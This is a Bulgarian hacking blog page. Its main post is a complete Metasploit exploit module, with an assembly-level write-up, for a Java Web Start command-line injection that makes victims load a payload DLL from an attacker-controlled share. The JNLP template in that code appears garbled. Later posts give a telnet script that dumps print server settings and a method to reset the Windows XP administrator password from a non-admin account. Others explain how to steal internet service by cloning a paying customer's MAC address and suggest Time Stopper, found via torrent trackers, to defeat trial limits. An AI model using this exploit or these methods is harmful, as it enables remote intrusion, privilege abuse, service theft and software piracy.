Дупка в Java Web Start

Това е един доста грозен недостатък който до момента на тази публикация няма реакция от Java SUN. Експлойтът предоставен от Metasplоit позволява да се инжектира -XXaltjvm   за да заредите Jvm.dll от отдалечено разстояние , което позволява на атакуващия да изпълни произволен код чрез браузъра на потребителя ..
Уязвими версии на Java от 1.6.31 до 1.6.35 и от 1.7.03 до .1.7.07

Автор Rh0

Ето кода:

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

    Rank = ExcellentRanking

    #

    # This module acts as an HTTP server

    #

    include Msf::Exploit::Remote::HttpServer::HTML

    include Msf::Exploit::EXE

    def initialize(info = {})

        super(update_info(info,

            'Name'           => 'Sun Java Web Start Double Quote Injection',

            'Description'    => %q{

                    This module exploits a flaw in the Web Start component of the Sun Java

                Runtime Environment. Parameters intial-heap-size and max-heap-size in a JNLP

                file can contain a double quote which is not properly sanitized when creating

                the command line for javaw.exe. This allows the injection of the -XXaltjvm

                option to load a jvm.dll from a remote UNC path into the java process. Thus 

                an attacker can execute arbitrary code in the context of a browser user.

                This flaw was fixed in Oct. 2012 and affects JRE <= 1.6.35 and <= 1.7.07.

                In order for this module to work, it must be ran as root on a server that

                does not serve SMB. Additionally, the target host must have the WebClient

                service (WebDAV Mini-Redirector) enabled. Alternatively an UNC path containing

                a jvm.dll can be specified with an own SMB server.

            },

            'Author'         => 

                [

                    # NOTE: module is completely based on and almost the same like jducks module for CVE-2012-0500 (Rev: 4369f73c)

                    'Rh0 ',   # discovery and msf module

                ],

            'Version'        => '0.0',

            'References'     =>

                [

                    [ 'URL', 'http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/browser/java_ws_vmargs.rb' ],

                    [ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],

                ],

            'Platform'       => 'win',

            'Payload'        =>

                {

                    'Space'    => 1024,

                    'BadChars' => '',

                    'DisableNops' => true,

                    'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"

                },

            'Targets'        =>

                [

                    [ 'Automatic', { } ],

                    [ 'Java Runtime 1.6.31 to 1.6.35 and 1.7.03 to 1.7.07 on Windows x86',

                        {

                            'Platform' => 'win',

                            'Arch' => ARCH_X86

                        }

                    ],

                ],

            'DefaultTarget'  => 0,

            ))

        register_options(

            [

                OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),

                OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),

                OptString.new('UNCPATH', [ false, 'Override the UNC path to use. (Use with a SMB server)' ])

            ], self.class)

    end

    def auto_target(cli, request)

        agent = request.headers['User-Agent']

        ret = nil

        #print_status("Agent: #{agent}")

        # Check for MSIE and/or WebDAV redirector requests

        if agent =~ /(Windows NT (5|6)\.(0|1|2)|MiniRedir\/(5|6)\.(0|1|2))/

            ret = targets[1]

        elsif agent =~ /MSIE (6|7|8)\.0/

            ret = targets[1]

        else

            print_status("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")

        end

        ret

    end

    def on_request_uri(cli, request)

        # For this exploit, this does little besides ensures the user agent is a recognized one..

        mytarget = target

        if target.name == 'Automatic'

            mytarget = auto_target(cli, request)

            if (not mytarget)

                send_not_found(cli)

                return

            end

        end

        # Special case to process OPTIONS for /

        if (request.method == 'OPTIONS' and request.uri == '/')

            process_options(cli, request, mytarget)

            return

        end

        # Discard requests for ico files

        if (request.uri =~ /\.ico$/i)

            send_not_found(cli)

            return

        end

        # If there is no subdirectory in the request, we need to redirect.

        if (request.uri == '/') or not (request.uri =~ /\/([^\/]+)\//)

            if (request.uri == '/')

                subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'

            else

                subdir = request.uri + '/'

            end

            print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")

            send_redirect(cli, subdir)

            return

        else

            share_name = $1

        end

        # dispatch WebDAV requests based on method first

        case request.method

        when 'OPTIONS'

            process_options(cli, request, mytarget)

        when 'PROPFIND'

            process_propfind(cli, request, mytarget)

        when 'GET'

            process_get(cli, request, mytarget, share_name)

        when 'PUT'

            print_status("Sending 404 for PUT #{request.uri} ...")

            send_not_found(cli)

        else

            print_error("Unexpected request method encountered: #{request.method}")

        end

    end

    #

    # GET requests

    #

    def process_get(cli, request, target, share_name)

        print_status("Responding to \"GET #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")

        # dispatch based on extension

        if (request.uri =~ /\.dll$/i)

            #

            # DLL requests sent by IE and the WebDav Mini-Redirector

            #

            print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")

            # Re-generate the payload

            return if ((p = regenerate_payload(cli)) == nil)

            # Generate a DLL based on the payload

            dll_data = generate_payload_dll({ :code => p.encoded })

            # Send it :)

            send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' })

        elsif (request.uri =~ /\.jnlp$/i)

            #

            # Send the jnlp document

            #

            # Prepare the UNC path...

            if (datastore['UNCPATH'])

                unc = datastore['UNCPATH'].dup

            else

                my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']

                unc = "\\\\" + my_host + "\\" + share_name

            end

            # NOTE: we ensure there's only a single backslash here since it will get escaped

            if unc[0,2] == "\\\\"

                unc.slice!(0, 1)

            end

            http_agent = Rex::Text.rand_text_alpha(8+rand(8))

            # use initial-heap-size='"' to inject a double quote and max-heap-size=" -XXaltjvm=\\IP\share " to

            # inject a parameter into the command line of javaw.exe

            # codebase, href and application-desc parameters successfully suppress java splash

            jnlp_data = <<-eos span="">

   

   #{Rex::Text.rand_text_alpha(rand(10)+10)}

   #{Rex::Text.rand_text_alpha(rand(10)+10)}

   

EOS

            print_status("Sending JNLP to #{cli.peerhost}:#{cli.peerport}...")

            send_response(cli, jnlp_data, { 'Content-Type' => 'application/x-java-jnlp-file' })

        else

            print_status("Sending redirect to the JNLP file to #{cli.peerhost}:#{cli.peerport}")

            jnlp_name = Rex::Text.rand_text_alpha(8 + rand(8))

            jnlp_path = get_resource()

            if jnlp_path[-1,1] != '/'

                jnlp_path << '/'

            end

            jnlp_path << request.uri.split('/')[-1] << '/'

            jnlp_path << jnlp_name << ".jnlp"

            send_redirect(cli, jnlp_path, '')

        end

    end

    #

    # OPTIONS requests sent by the WebDav Mini-Redirector

    #

    def process_options(cli, request, target)

        print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")

        headers = {

            #'DASL'   => '',

            #'DAV'    => '1, 2',

            'Allow'  => 'OPTIONS, GET, PROPFIND',

            'Public' => 'OPTIONS, GET, PROPFIND'

        }

        send_response(cli, '', headers)

    end

    #

    # PROPFIND requests sent by the WebDav Mini-Redirector

    #

    def process_propfind(cli, request, target)

        path = request.uri

        print_status("Received WebDAV \"PROPFIND #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")

        body = ''

        if (path =~ /\.dll$/i)

            # Response for the DLL

            print_status("Sending DLL multistatus for #{path} ...")

#45056

            body = %Q|

#{path}

2010-02-26T17:07:12Z

Fri, 26 Feb 2010 17:07:12 GMT

"39e0132-b000-43c6e5f8d2f80"

F

application/octet-stream

HTTP/1.1 200 OK

|

        elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))

            # Response for anything else (generally just /)

            print_status("Sending directory multistatus for #{path} ...")

            body = %Q|

#{path}

2010-02-26T17:07:12Z

Fri, 26 Feb 2010 17:07:12 GMT

"39e0001-1000-4808c3ec95000"

httpd/unix-directory

HTTP/1.1 200 OK

|

        else

            print_status("Sending 404 for #{path} ...")

            send_not_found(cli)

            return

        end

        # send the response

        resp = create_response(207, "Multi-Status")

        resp.body = body

        resp['Content-Type'] = 'text/xml'

        cli.send_response(resp)

    end

    #

    # Make sure we're on the right port/path to support WebDAV

    #

    def exploit

        if !datastore['UNCPATH'] && (datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/')

            raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'

        end

        super

    end

end

=begin

=========================================================

Java Web Start: The next Quote Inject Bug (CVE 2012-1533)

=========================================================

Hello all,

This bug is different from CVE-2012-0500 which was disclosed on Feb. 15 2012, but

allows remote code execution in the same way.

======================

Vulnerability Overview

======================

There exists an input validation vulnerability in at least Java Web Start 1.6.35

and 1.7.07 when parsing JNLP files.

A flaw exists in the routine which performs checks on the parameter values from

a JNLP file. It allows the injection of non escaped double quotes (") into parameters

of the command line of javaw.exe. Parameters "intial-heap-size" and "max-heap-size" in a

JNLP file can contain a double quote which is not properly sanitized when creating

the command line for javaw.exe. This makes it possible to get a command line parameter

with a value consisting only of one double quote injected. Further this allows manipulating

the command line and the injection of e.g. the "-XXaltjvm" option leading to RCE.

======================

Vulnerability Details

======================

Notes:

------

[*] A JNLP parameter will be refered to  by name=value (e.g.: initial-heap-size='64m"' )

[*] Analysis is done on WinXP 32Bit SP3 EN with Oracle JRE 1.6.31

[*] javaws.exe has the base address of 0x00400000 in memory

[*] Arrows (-->) indicate code continuation on next address block

------

Vulnerable program flow:

------------------------

[*] If a JNLP file is opened by javaws.exe, it is read into memory

and saved temporary in %TEMP%.

[*] JNLP parameters are parsed:

[a] Check if a JNLP value begins with a single or a double quote:

(EAX points to a value of JNLP parameter enclosed with single quotes e.g.: '64m"' ; note the double quote inside)

00404D60  MOV CL,BYTE PTR DS:[EAX]      ; CL: 1st char of '64m"' (single quote = 0x27)

00404D62  CMP CL,22                     ; check for double quote

00404D65  MOV DWORD PTR DS:[4227C4],EAX

00404D6A  JE SHORT javaws.00404D9F      ; jmp is not taken

00404D6C  CMP CL,27                     ; check for single quote

00404D6F  JE SHORT javaws.00404D9F      ; jmp is taken -->

...

[b] strip quotes which enclose the JNLP value and store it:

00404D9F  INC EAX                       ; points to 2nd char of JNLP value (1st char after single quote)

00404DA0  MOV DL,CL                     ; DL: 0x27 (single quote)

00404DA2  MOV CL,BYTE PTR DS:[EAX]      ; CL: 2nd char of JNLP value (0x36)

00404DA4  MOV DWORD PTR DS:[4227C4],EAX

00404DA9  MOV ESI,EAX

00404DAB  JMP SHORT javaws.00404DB4     ; start loop

00404DAD  /CMP CL,DL                    ; compare char of JNLP value to single quote

00404DAF  |JE SHORT javaws.00404DB8     ; loop until another single quote in JNLP value is encountered

00404DB1  |INC ESI                      ; increase pointer to chars in JNLP value

00404DB2  |MOV CL,BYTE PTR DS:[ESI]     ; put next char of value into CL

00404DB4   TEST CL,CL

00404DB6  \JNZ SHORT javaws.00404DAD   

00404DB8  PUSH EAX

00404DB9  PUSH 6

00404DBB  MOV EAX,ESI

00404DBD  CALL javaws.00404BF8          ; store stripped JNLP value ( in the example case: 64m" )

...

[*] The stripped JNLP values are used to construct the command line parameter for javaw.exe

(e.g.: for JNLP parameter with name initial-heap-size) :

00401895  PUSH javaws.00418330          ; ASCII: -Xms%s

0040189A  PUSH EBX

0040189B  PUSH EAX

0040189C  CALL javaws.00406D26          ; construct command line parameter with -Xms%s and 64m"

004018A1  LEA EAX,DWORD PTR SS:[EBP-400]; EAX points to command line parameter -Xms64m" (with still one double quote)

...

[*] All constructed command line parameters for javaw.exe are sane checked:

00402B02  CALL javaws.00406911          ; run check routine -->

...

00406911  PUSH EBP

00406912  MOV EBP,ESP

00406914  PUSH EBX

00406915  PUSH ESI

00406916  PUSH EDI

00406917  MOV EDI,DWORD PTR SS:[EBP+10] ; ESI: pointer to pointers to command line parameters

0040691A  XOR EBX,EBX

0040691C  CMP DWORD PTR DS:[EDI],EBX

0040691E  MOV ESI,EDI

00406920  JE SHORT javaws.00406933

00406922  /PUSH DWORD PTR DS:[ESI]      ; push pointer to command line parameter

00406924  |CALL javaws.00406170         ; run check on command line parameter -->

00406929  |MOV DWORD PTR DS:[ESI],EAX

0040692B  |ADD ESI,4                    ; ESI: pointer to next command line parameter

0040692E  |CMP DWORD PTR DS:[ESI],EBX

00406930  |POP ECX

00406931  \JNZ SHORT javaws.00406922    ; loop until end of pointer list

...

00406170  PUSH EBX

00406171  MOV EBX,DWORD PTR SS:[ESP+8]  ; EBX: pointer to command line parameter ( e.g.: -Xms64m" )

00406175  TEST EBX,EBX

00406177  JNZ SHORT javaws.0040617D     ; -->

...

0040617D  MOV EAX,EBX

0040617F  LEA EDX,DWORD PTR DS:[EAX+1]  ; EDX: pointer to command line parameter without hyphen ( Xms64m" )

00406182  /MOV CL,BYTE PTR DS:[EAX]

00406184  |INC EAX

00406185  |TEST CL,CL

00406187  \JNZ SHORT javaws.00406182

00406189  PUSH ESI                      ; pointer to pointer of -Xms64m"

0040618A  SUB EAX,EDX                   ; EAX: length of Xms64m"\x00

0040618C  PUSH javaws.004199B8          ; ASCII \x20\x09 (space and tab)

00406191  PUSH EBX                      ; pointer to -Xms64m"

00406192  MOV ESI,EAX

00406194  CALL javaws.00409590          ; check for space and tab in -Xms64m" ; return 0x0 in EAX if it's not found

00406199  TEST EAX,EAX                  ; EAX: 0x0 for -Xms64m"

0040619B  POP ECX

0040619C  POP ECX

0040619D  JNZ SHORT javaws.004061A8     ; jmp to routine which checks and escapes " and \ is not taken !! The checks are not performed !!

0040619F  PUSH EBX

004061A0  CALL javaws.004127F4          ; copy of -Xms64m" (~ strdup)

004061A5  POP ECX

004061A6  JMP SHORT javaws.00406215     ; jmp over the check routines !! ---------------------> 00406215 

004061A8  CMP ESI,1

004061AB  JLE SHORT javaws.004061B9

004061AD  CMP BYTE PTR DS:[EBX],22

004061B0  JNZ SHORT javaws.004061B9

004061B2  CMP BYTE PTR DS:[ESI+EBX-1],22

004061B7  JE SHORT javaws.0040619F

004061B9  XOR EAX,EAX

004061BB  TEST ESI,ESI

004061BD  LEA EDX,DWORD PTR DS:[ESI+3]

004061C0  JLE SHORT javaws.004061D5

004061C2  /MOV CL,BYTE PTR DS:[EAX+EBX]

004061C5  |CMP CL,22

004061C8  |JE SHORT javaws.004061CF

004061CA  |CMP CL,5C

004061CD  |JNZ SHORT javaws.004061D0

004061CF  |INC EDX

004061D0  |INC EAX

004061D1  |CMP EAX,ESI

004061D3  \JL SHORT javaws.004061C2

004061D5  PUSH EDX

004061D6  CALL javaws.004089CD

004061DB  TEST EAX,EAX

004061DD  POP ECX

004061DE  JE SHORT javaws.00406215

004061E0  XOR ECX,ECX

004061E2  PUSH EDI

004061E3  INC ECX

004061E4  XOR EDI,EDI

004061E6  TEST ESI,ESI

004061E8  MOV BYTE PTR DS:[EAX],22      ; *** prepend command line parameter with double quote

004061EB  JLE SHORT javaws.0040620B

004061ED  /MOV DL,BYTE PTR DS:[EDI+EBX]

004061F0  |CMP DL,22                    ; *** check for "

004061F3  |JE SHORT javaws.004061FA

004061F5  |CMP DL,5C                    ; *** check for \

004061F8  |JNZ SHORT javaws.004061FF

004061FA  |MOV BYTE PTR DS:[EAX+ECX],5C ; *** escape " or \ with \ (" becomes \" and \ becomes \\ )

004061FE  |INC ECX

004061FF  |MOV DL,BYTE PTR DS:[EDI+EBX]

00406202  |MOV BYTE PTR DS:[EAX+ECX],DL

00406205  |INC ECX

00406206  |INC EDI

00406207  |CMP EDI,ESI

00406209  \JL SHORT javaws.004061ED

0040620B  ADD ECX,EAX

0040620D  MOV BYTE PTR DS:[ECX],22      ; *** append command line parameter with double quote to enclose it 

00406210  MOV BYTE PTR DS:[ECX+1],0

00406214  POP EDI

00406215  POP ESI                       ; -----------------> we land here

00406216  POP EBX

00406217  RETN

...

[*] At this point we have circumvented the checks and our JNLP parameter initial-heap-size='64m"' becomes

the command line parameter Xms64m". Basically this happens due to the possibility to enclose double quotes

inside single quoted JNLP values (see [a] and [b]) and unsufficient checking for double quotes inside

the constructed command line parameter (see 0040619D ).

[*] We can now inject command line parameters via the JNLP parameter max-heap-size=" -ParamA=InjectA -ParamB=InjectB "

which will become the command line parameter "-Xmx -ParamA=InjectA -ParamB=InjectB "

[*] The command line for javaw.exe then contains the two parameters after each other, so we get:

javaw.exe [...] -Xms64m" "-Xmx -ParamA=InjectA -ParamB=InjectB " [...] "-another parameter X" "-another parameter Y " [...]

[*] Although the javaw.exe command line is corrupted due to unclosed and wrongly escaped double quotes an injection

works with -XXaltjvm=\IP\evilshare. Javaw.exe will search for a jvm.dll on a remote unc location \\IP\evilshare (which can

be on a webserver) and execute it.

===

Fix

===

[*] This vulnerability was fixed by Oracle in Oct. 2012

http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html

The fix inserted an additional check to "initial-heap-size" and "max-heap-size" parameters.

Comparison between javaws.exe 10.7.2.10 (Java 1.7.07) and javaws.exe 10.9.2.05 (Java 1.7.09) yields the following:

[a] All functions are identical except sub_404BB9 and a new function sub_406E0E was added:

http://s18.postimg.org/gy04n3jw9/diff_1_7_7_1_7_9.png

[b] The only difference in sub_404BB9 between the two versions is the use of sub_406E0E to validate the parameter

values gained by sub_405BD5:

http://s7.postimg.org/hjgnecod7/sub_404bb9_diffed.png

[*] An old deprecated self made fix is available which fixed this issue in a different way, back in the days

when it was a 0day:

http://pastebin.com/9RztwVez

Cheers,

Rh0

=end

Прочети още ...

Дупка в TP-Link TL PS110U Print Server

При стартиран телнет сървиз атакуващият получава пълен достъп до конфигуриращите настройки. Дупката е открита от SANTHO на 19.06.2013 и до монета на тази публикация няма реакция от производителя.

Пример:

root@bt# ./tplink-enum.py 10.0.0.2

Device Name : 1P_PrintServABCD

 Node ID : AA-AA-AA-AA-AA-AA

 Manufacture: Hewlett-Packard

 Model: HP LaserJet M1005

 Community 1: public Read-Only

 Community 2: public Read-Only

import telnetlib

import sys

host = sys.argv[1]

tn = telnetlib.Telnet(host)

tn.read_until("Password:")

tn.write("\r\n")

tn.read_until("choice")

tn.write("1\r\n")

tn.read_until("choice")

tn.write("1\r\n")

data = tn.read_until("choice")

for i in data.split("\r\n"):

    if "Device Name" in i:

        print i.strip()

    if "Node ID" in i:

        print i.strip()

tn.write("0\r\n")

tn.read_until("choice")

tn.write("2\r\n")

data = tn.read_until("choice")

for i in data.split("\r\n"):

    if "Manufacture:" in i:

        print i.strip()

    if "Model:" in i:

        print i.strip()

tn.write("0\r\n")

tn.read_until("choice")

tn.write("5\r\n")

data = tn.read_until("choice")

for i in data.split("\r\n"):

    if "Community" in i:

        print i.strip()

Прочети още ...

Забрана на CTRL + ALT + DEL

За да забраните опциите трябва да направите следното:

Отваряте gpedit.msc и избирате User Configurations > Administrative Templates > System > Ctrl-Alt-Del Options 

Като кликнете 2 пъти върху опциите които искате да забраните избирате Enabled 

Ето това е :) 

Ето няколко снимки:

Прочети още ...

Взимане на администраторска парола в WINDOWS XP...

Имате достъп до акаунт в ЕКС пи-то но на вас ви трябват администраторски права ...
Знам 2 начина.
Първи: Отидете на start>run пишете cmd там в конзолата пишете net user administrator натиснете space+shift+8 и enter.
Ще ви излезе това ред по ред след като си въведете паролата и я повторите:

Type a password for the user:
Retype the password to confirm:
The command completed successfully.

Втори начин: Отидете на start>run пишете mmc натиснете ctrl+m дайте на add изберете Local users and groups после пак add отметка на local computer и натискате finish. В Add\remove Snap-in давате ОК. избирате Local users and groups после users. Дясното копче на Administrator давате Set Password избирате Proceed ....

От там нататък ще се оправите ..

Прочети още ...

Кражба на интернет с промяна на МАС ...

Криза е ..! :) много от Вас не могат да си платят интернета ....
Тази публикация не я правя за да Ви науча .. а да се стреснат интернет доставчиците ... Че Випросът ми към тях е - До кога ще ползваме незащитен интернет, застрашени от хакерски набези ... 30 лева такса Ви е много .... ! :)

Ето започвам ...

Глупавите доставчици които не могат да си платят на компютърни специялисти позлват тъпите програмки за филтриране по IP и MAC. На кратко IP e вашия локален адрес примерно 192.168.0.1 a МАC адреса (Media Access Control address), физическия адрес е от типа 16 битов примерно 01:23:45:67:89:ab Повече може да прочетете тук -> http://en.wikipedia.org/wiki/MAC_address

Така ... Как се сменят IP-та няма да обяснявам мисля че всеки знае. Ще се спра на MAC. Kak да си намеря МАС-а и как да го сменя се питате?
Отваряте старт/рън и пишете там "cmd". В черния джам, който ви се отвори пишете "ipconfig" и там гледате за Physical Address .... Ще ви излязат dhcp mask IP итемподобни които вас не ви интересуват ... Общи приказки дрън дрън ...

Ето по същество ... Сканираме мрежата с примерно NetScanner програмката ... тя показва ренджа от ип-та примерно 192.168.1.1 до 192.168.1.250 плюс техните МАС адреси. Запазвате сканираната информация примерно с print screen и си я паствате в някой bmp файл. След извесно време пак си правите скан применро вечерта след 12:00 и виждате кои компютри не са в листата (сравнявате ги с bmp файла). Копирате си МАЦ адреса и го поставате за ваш ...
Е как става ... -> Дясното копче на My network places давате propertise, после пак дясното копче на Local area connection и пак propertice. В прозореца които ви искочи давате на Configure излиза ви друг джам ... давате на Advanced избирате Network Address давате отметка за Value стоиност и въвеждате МАС-а след това си сменяте Ip-то.

Е това е имате интернет а човека които прецакахте няма да има докато вашия комп е включен.. За да затрудните малко тъпите доставчици може да си спрете отговорите на компа echo примерно ако се опитват да пингват .. схващате за какво говоря ..

Е дано съм Ви бил малко от полза по-обширна информация не мисля да давам :)

Прочети още ...

Премахване на Shared Doсuments папката от твоя компютър.

След като разрешите шар автоматично ви остава една папка споделена в мрежата как да я премахнем се питате? Има много начини но аз ще разгледам един през регистрите на уиндоус.
Отваряте start>cmd>regedit търсите HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Explorer \ My Computer \ NameSpace \ DelegateFolders там трябва да изтриете този кей {59031a47-3f72-44a7-89c5-5595fe6b30ee}. С това всичко е приключило лесно беше :)

Прочети още ...

Как да използваме DEMO програми

Много хора ме питат какво да правят като им трябват някои програмки а те са все лимитарни в времето и след катъо им изтече времето те дори и след преинстал на програмките не тругват .. има 2 начина или поне аз използвам 2 за да заобиколя този проблем.
1. Изтривате всички регистри на програмите които са лимитирани след реинстал абсолиютно всяка следа която остават но за целта трябва да си познавате компютъра мн добре .. това е трудния начин.
2. Използвате програмката Time Stopper. Тя лъже програмките с времето и тъка можете да ги ползвате до когато си поискате.

Дано сам ви бил от полза :) линк от къде да я свалите няма ви дам. :) търсете в арена замунда и т.н торент тракери.

Прочети още ...

Позволяване и отмяна на Windows Task Menager

Task Menger е мощен уиндоуски инструмент за следене и контрол на системата сервизи и темподобни .. досещате се .. в тази теме ще ви обясня как се спира този инструмент от регистрите .. полезна информация за хакерчетата и обикновенните потребители когато им изчезне Task Menager-a и не могат да спрат някоя програмка да се досетят да се оправа това.
Това което трябва да направим е да си влезем в регистрите на уиндоуса: start>Run>regedit
Там търсите HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
ако папката систем я няма направете си такава Policies > Key > System там трябва да създадете 32 битов DWORD именувайте го DisableTaskMgr създавате Hexadecimal стойност 1 сейвате рестарт и сте готови за да го отмените стойността е 0 или изтрийте всичко.

Прочети още ...

Таймер за изключване и рестарт на компютъра.

Много от вас използват най-различни програмки за рестарт и изключване с таймер на компа, е аз ще ви покажа как става без тези програмки с които можете да си качите някои спай или вирусче. Това което трябва да направите е да си отворите команд промпт :) Start>Run>cmd
За рестарт е shutdown -r -t <време в секунди>
За изключване е shutdown -s -t <време в секунди>

Пример: shutdown -s -t 3600 -> това ще изключи компа ви след 1 час .

Ако не искате да го пишете това постоянно може да си запазите информацията в .bat файл.

Прочети още ...

Каква e KeySpy програмата ?

Това е често използвана хакерска програмка за крадене на информация от вашия компютър. Какво прави тя? Слуша клавиатурни регистри .. абе всяко копче което натиснете .. Събраната информация я праща през определено време по електронна поща или я качва на фтп. Често ядрото се разпространява в архив настроен след разархивиране да го стартира ... Няма да се притеснявате антивирусните програми го засичат , защитните стени също му спират обмена на информация. Е ако не знаете как да си конфигурирате уиндоуса за по голяма защита или използвате кракнати крадени антивирусни прогрми с много дупки в защитата може и да го пуснат ... Но яко не използвате вашия компютър за бизнес цели или обмен на важна поверителна информация няма какво да се притеснявате .. хакерчетата се блазнят от кредитни карти и пароли в и-бей пей пал и т.н. Но ако решите да използвате вашия компютър в тази бизнес насока прочетете повече в интернет как да се защитите от хакерски набези или потърсете в този блог за такава информация.

Прочети още ...

Компютърните вируси ? Що е то ?

Що е компютърният вирус
Компютърните вируси са фрагмент от програма, разработен и написан с цел неблагоприятно въздействие върху вашия компютър посредством изменение на начина му на работа без ваше знание или позволение. Изразено на технически език, те са сегмент на програмен код, който се имплантира в изпълнимите файлове и систематически се разпространява от един файл в друг. Компютърните вируси не се образуват от само себе си.
Те се пишат от хора и имат определена деструктивна цел. Обикновено вирусите изпълняват следните две функции:
* Разпространение от един файл в друг без вашето потвърждаване, т.е. саморепликация или размножаване.
* Внедряване на симптом или нарушение, предварително планирани от автора. Може да става дума за съсипване на хард диска, изменение на поведението на програми или просто за привеждане на компютъра в безпорядък.

Експертите наричат това "полезна работа на вируса", която може да бъде доброкачествена или злокачествена. Доброкачествените вируси не нанасят на поразените компютри реална вреда. Например те не се проявяват до определена дата, на която показват присъствието си със някакво съобщение.

За разлика от тях злокачествените вируси се мъчат да причинят вреда на компютъра гостоприемник. Понякога те правят това неволно вследствие лошо програмиране и груби грешки в кода на самия вирус. Злокачествените вируси са способни да изменят една или повече програми така, че те да престанат да работят по желания начин. Заразената програма може да започне внезапно да блокира или да записва информацията некоректно. Вирусът може също да променя информацията за директорийната структура в системната област на диска. Това пречи на откриването на дяловете или стартирането на едно или повече приложения, които не намират необходими за коректното им функциониране файлове. За съжаление преобладаващата част от вирусите са злокачествени, като най-гадните могат да повредят хард диска или да изтриват файлове.

Реална ли е опасността?
Широкото разпространение на вирусите слага началото на нова ера в историята на компютърната сигурност, в която тези, които не се съобразяват с правилата, се подлагат на голям риск. Взимайки под внимание нарастващия брой съобщения за опасност, както и множеството познати случаи на породени от компютърни вируси неприятности, трудно могат да бъдат разбрани представителите на компютърния бранш, които изказват мнение, че опасността от вирусите е преувеличена. По оценки на Националния информационен център за компютърни престъпления в Лос Анжелос американските предприятия губят поради несанкциониран достъп 550 милиона долара годишно, като в тях не влиза цената на загубеното за възстановяване на щетите време.

През последните няколко години много компании от списъка на Fortune започват да въвеждат специални правила за борба с компютърните вируси. В много случаи новите процедури предвиждат тестването на всички приложения, преди те да се инсталират на корпоративната мрежа, и ограничения на стартирането на софтуер от електронните табла с обяви или FTP сървъри. Практически никой, нито дори правителството, банката или полицията, не са застраховани срещу вируси.

Видове компютърни вируси
Компютърните вируси се разпространяват, прехвърляйки се от програма на програма или към boot секторите на дискета или харддиск. При изпълняване на заразен файл или стартиране на компютър с инфектиран boot сектор се изпълнява и самият вирус. Нерядко той се скрива в паметта, очаквайки поредното приложение, което може да порази, или възможност за достъп до следващия диск. Възможен ефект от действието на вирус е показването на съобщение в определен ден или изтриване на файлове, ако конкретен изпълним файл се стартира определен брой пъти.

* Файлови вируси: те се присъединяват към файловете *.COM или *.ЕХЕ, въпреки че в отделни случаи могат да заразят и файлове с разширения SYS, DRV, BIN, OVL или OVY. Вирусите записват своя код в тялото на изпълнимия файл така, че при стартиране на програмата да поемат управлението. Това е незабележимо за потребителя. След като свърши тъмното си дело, вирусът сканира локалните и мрежовите устройства в търсене на поредна жертва. В някои случаи програмите се заразяват, когато са отворени (например от командата на DOS DIR) или се инфектират всички файлове в директорията, от която е стартиран самият вирус (пряка инфекция).

Механизмът на разпространение на файловите вируси е много прост. Авторът му заразява някоя програма с него и я публикува на някой BBS, FTP сървър, web сайт, корпоративна или университетска мрежа. Подбират се атрактивни приложения: нови версии на популярни програми или игри. Аргументирайки се с факта, че така и така постоянно излизат нови и нови вируси, с които инсталираната антивирусна програма би могла и да не се справи, хората си спестяват теста и вирусите плъзват. Чисто теоретично, защита срещу този подход е след форматиране на диска на ниско ниво да се ползват само лицензирани програми и да се забрави за shareware и freeware, но това би изолирало потребителя от твърде много инструменти, без които не може. А дори да допуснем, че такъв компютър съществува, на него би трябвало никога да не се записва обработван на друга машина файл от MS Office, поради опасността от макровируси.

* Boot вируси: всеки хар ддиск и всяка дискета, без значение дали са системни или не, разполагат с т. нар. boot sector. В него се съдържа специфична информация за формата на устройството, записаните на него данни, както и малка програмка, зареждаща системните файлове на DOS или даваща съобщението за грешка "Non-system Disk or Disk Error", ако те не са налице. Именно тази програма е цел на boot вирусите. При изпълнението й вирусът попада в паметта и оттам на харддиска. Не забравяйте, че всеки магнитен носител има boot сектор, така че може да се заразите и от диск, съдържащ само данни (често срещан на практика случай).

* Комбинирани вируси: този тип вируси е съчетание от горните. Съчетаните вируси са едни от най-съвършените и най-опасните. Те заразяват както файлове, така и master boot record. Засега съчетаните вируси са относително рядко срещани, но броят им постоянно нараства.

* Полиморфни вируси: в процеса на заразяване вирусът записва във файла или системната област на диска уникална за себе си последователност от символи, наречена сигнатура. Тъй като един от най-често срещаните методи за откриване на вирус е по неговата сигнатура, авторите на вируси са стигнали до идеята да използват специални алгоритми за кодирането й с цел затрудняване на определянето на сигнатурата от страна на антивирусната програма. Когато вирусът поеме управлението, той първо разшифрова собствения си код. Тъй като този тип все пак съдържа константна шифроваща процедура, сигнатурата в крайна сметка може да се получи. По-сложната разновидност са полиморфните вируси, които мутират. При тях процедурата се променя всеки път и за определяне на сигнатурата са необходими съвременни антивирусни продукти.

* Макровируси: документите на офис пакетите съдържат не само текст и графика, но и макрокоманди, които фактически са програми на език, наподобяващ Basic. Вирусът ги променя или добавя нови. Механизмът на разпространение се основава на факта, че съществуват макрокоманди, изпълняващи се при отваряне на файла за редактиране или други операции. Авторът взима безобиден файл, например readme.doc, и записва в него няколко вирусни макрокоманди. Като отворите заразен файл, макрокомандите поемат управлението и могат да заразят и други документи.

